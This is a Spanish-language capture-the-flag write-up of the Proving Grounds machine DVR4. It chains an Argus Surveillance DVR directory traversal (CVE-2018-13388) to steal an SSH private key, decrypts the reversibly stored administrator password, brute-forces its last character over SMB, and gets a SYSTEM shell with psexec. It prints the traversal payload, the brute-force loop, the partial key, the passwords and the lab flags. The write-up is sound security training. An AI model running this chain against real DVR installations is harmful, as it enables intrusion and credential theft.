the_open_door
café
ESEN

DVR4

Proving Grounds PracticeMediaWindows192.168.178.179

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#argus-dvr#cve-2018-13388#directory-traversal#lfi#ssh-key#reversible-password#information-disclosure#smb-brute-force#psexec#windows#oscp
TL;DR. El puerto 8080 sirve Argus Surveillance DVR 4.0.0.0, vulnerable a un directory traversal (CVE-2018-13388) que lee ficheros arbitrarios (traversal de Argus DVR). Con él sacamos la clave SSH privada de viewer y entramos por SSH. Para escalar, el DVRParams.ini de Argus guarda la contraseña del administrador con un cifrado reversible (almacenamiento reversible de contraseñas): la desciframos carácter a carácter y, como el último no estaba en la tabla del exploit, hacemos un pequeño bruteforce del último carácter contra SMB. Con la contraseña completa, psexec.py nos da SYSTEM.

Reconocimiento

Escaneo inicial

TTL 125 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 125 = 128−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. SMB, un Bitvise SSH y un servidor web en el 8080 que se identifica como Argus Surveillance DVR.

ping -c 1 192.168.178.179
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.178.179
PORT     STATE SERVICE
22/tcp   open  ssh
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
8080/tcp open  http-proxy
nmap -p22,135,139,445,5040,8080 -sCV 192.168.178.179 -oN targetedScan
PORT     STATE SERVICE       VERSION
22/tcp   open  ssh           Bitvise WinSSHD 8.48 (FlowSsh 8.48; protocol 2.0)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
8080/tcp open  http-proxy
|_http-title: Argus Surveillance DVR
|_http-generator: Actual Drawing 6.0 (http://www.pysoft.com) [PYSOFTWARE]

HTTP - TCP 8080: Argus Surveillance DVR

El 8080 sirve el panel de un Argus Surveillance DVR:

Panel web de Argus Surveillance DVR con el menú Cameras/Records/Users/Tools

En Help → About se confirma la versión exacta, 4.0 (release de 2008):

About de Argus Surveillance DVR: Version 4.0, Released 18/12/2008

Su propia interfaz (Users) filtra los usuarios locales (entre ellos viewer), útil para saber a quién apuntar después:

La interfaz de Argus DVR revela los usuarios locales, incluido viewer

searchsploit confirma la vulnerabilidad estrella de esta versión:

searchsploit argus
Argus Surveillance DVR 4.0.0.0 - Directory Traversal   | windows_x86/webapps/45296.txt   (CVE-2018-13388)

Explotación

CVE-2018-13388: directory traversal a la clave SSH de viewer

El WEBACCOUNT.CGI no sanea el parámetro RESULTPAGE: con una ristra de ..%2F leemos cualquier fichero del disco (traversal de Argus DVR). Sabiendo que viewer existe y que hay SSH, apuntamos a su clave privada:

payload = "WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=" + "..%2F"*16
r = requests.get(url + "/" + payload + urllib.parse.quote(file))
python3 path_traversal.py http://192.168.178.179:8080 "/Users/viewer/.ssh/id_rsa"

path_traversal.py devuelve la BEGIN OPENSSH PRIVATE KEY de viewer

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAuuXhjQJhDjXBJkiIftPZng7N999zteWzSgthQ5fs9kOhFzLQlJ5J
Ybut0BIbPaUdOhNlQcuhAUZjaaMxnWLbDJgTETK8h162J81p9q6vR2zKpHu9Dhi1ksVyAP
...
-----END OPENSSH PRIVATE KEY-----

La respuesta es la clave privada de viewer. La guardamos y entramos por SSH:

chmod 600 id_rsa
ssh -i id_rsa viewer@192.168.178.179

shell SSH como viewer en DVR4 (Windows 10.0.19044)

Local

type C:\Users\viewer\Desktop\local.txt & whoami & ipconfig & hostname

local.txt leída como el usuario viewer en DVR4

441766a5c1ebc1299bc441622f2be6ce
dvr4\viewer

Escalada de privilegios

DVRParams.ini: contraseña con cifrado reversible

Argus guarda su configuración (incluida la contraseña del administrador) en DVRParams.ini, con un cifrado reversible propio (almacenamiento reversible de contraseñas):

type "C:\ProgramData\PY_Software\Argus Surveillance DVR\DVRParams.ini"

DVRParams.ini contiene Password0 con la contraseña del administrador cifrada de forma reversible

La sección [Users] confirma que ese Password0 pertenece a LoginName0=Administrator:

Sección de usuarios de DVRParams.ini: LoginName0=Administrator y Password0=ECB453...D9A8

[Users]
LoginName0=Administrator
Password0=ECB453D16069F641E03BD9BD956BFE36BD8F3CD9D9A8

Descifrado carácter a carácter + bruteforce del último

El "cifrado" no es más que una tabla que mapea cada bloque de 4 dígitos hex a un carácter; es directamente reversible. El exploit 50130.py descifra casi toda la contraseña, pero el último bloque (D9A8) no está en su tabla:

50130.py descifra 14WatchD0g pero el último bloque D9A8 queda como Unknown

ECB4->1  53D1->4  6069->W  F641->a  E03B->t  D9BD->c  956B->h  FE36->D  BD8F->0  3CD9->g  D9A8->?

La base es 14WatchD0g y solo falta el último carácter. En vez de ampliar la tabla, hacemos un bruteforce mínimo: probamos 14WatchD0g + cada carácter posible como login SMB del Administrator hasta que uno autentica:

username = "Administrator"
for character in string.ascii_letters + "-_,!#·$%&()=?¿'¡^*:;.+":
    if smb_login(username, "14WatchD0g" + character):
        print("Encontrada: 14WatchD0g" + character)

smb_bruteForce.py encuentra la contraseña completa: 14WatchD0g$

[+] Probando contraseñas: Encontrada: 14WatchD0g$

La contraseña completa del administrador es 14WatchD0g$.

SYSTEM con psexec

Con credenciales de administrador local, psexec.py nos da una shell como SYSTEM:

psexec.py Administrator@192.168.178.179   # 14WatchD0g$

psexec.py con Administrator abre una shell: ADMIN$ escribible, crea el servicio y cae en C:\WINDOWS\system32

Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies

Password:
[*] Requesting shares on 192.168.178.179.....
[*] Found writable share ADMIN$
[*] Uploading file sumSWgAi.exe
[*] Opening SVCManager on 192.168.178.179.....
[*] Creating service BXTM on 192.168.178.179.....
[*] Starting service BXTM.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.19044.1645]
(c) Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32> cd C:\Users\Administrator\Desktop

Proof

type C:\Users\Administrator\Desktop\proof.txt & whoami & ipconfig & hostname

proof.txt leída como nt authority/system en DVR4

a2799c965f578baa4a678c6af5b0e2e8
nt authority\system

Automatizar la cadena entera

Los cuatro pasos (traversal para robar la id_rsa, SSH, lectura y descifrado del DVRParams.ini y psexec.py como administrador) caben en un script. Merece la pena verlo entero porque deja claro que aquí no hay ningún paso interactivo: todo es determinista.

python3 dvr4_autoexpy.py <ip-victima>

dvr4_autoexpy.py encadena el traversal, el SSH, el descifrado de la contraseña y el psexec hasta imprimir las dos flags

[+] SSH private key (id_rsa) retrieved via Argus Surveillance path traversal
[+] SSH access gained
[+] Encrypted Administrator password found in C:\ProgramData\PY_software\Argus Surveillance DVR\DVRParams.ini
[+] Administrator password successfully decrypted -> 14WatchD0g$
[+] Attempting Administrator access via SMB (psexec.py)

    proof.txt -> 2ce8e0fc812d07f2c16e9d4db0871ea5
    local.txt -> 65952e2fbf0ae63da006fbd2e9367cce

Los hashes de las flags no coinciden con los de la pasada manual porque la máquina se había reiniciado entre una y otra: en Proving Grounds las flags se regeneran en cada despliegue.

Cadena de ataque

HTTP 8080  --  Argus Surveillance DVR 4.0.0.0 (usuarios: viewer)
        │  CVE-2018-13388: traversal WEBACCOUNT.CGI -> lee /Users/viewer/.ssh/id_rsa
        ▼
ssh viewer  (local.txt)
        │  DVRParams.ini -> Password0 cifrado reversible
        │  50130.py descifra 14WatchD0g + bruteforce SMB del último char -> 14WatchD0g$
        ▼
psexec.py Administrator -> nt authority\system  (proof.txt)

Lecciones aprendidas

  • El directory traversal lee cualquier cosa, no solo webs. El WEBACCOUNT.CGI de Argus permitía sacar la clave SSH de un usuario; validar y normalizar las rutas del lado servidor cierra el vector.
  • Cifrado reversible == texto plano con pasos extra. El DVRParams.ini guardaba la contraseña del administrador con una tabla reversible; quien lee el fichero recupera la contraseña. Las contraseñas deben guardarse con hashes lentos y con sal, no "cifradas".
  • Una tabla incompleta no frena un descifrado. Faltaba un bloque en el exploit, pero con la base conocida un bruteforce de un solo carácter contra SMB completó la contraseña en segundos.
  • No reutilices claves entre servicios expuestos. El mismo host filtraba la clave SSH por HTTP y la contraseña de admin por el fichero de configuración; cada exposición encadenaba con la siguiente.
Cheatsheet de comandos 9 comandos

Repaso rápido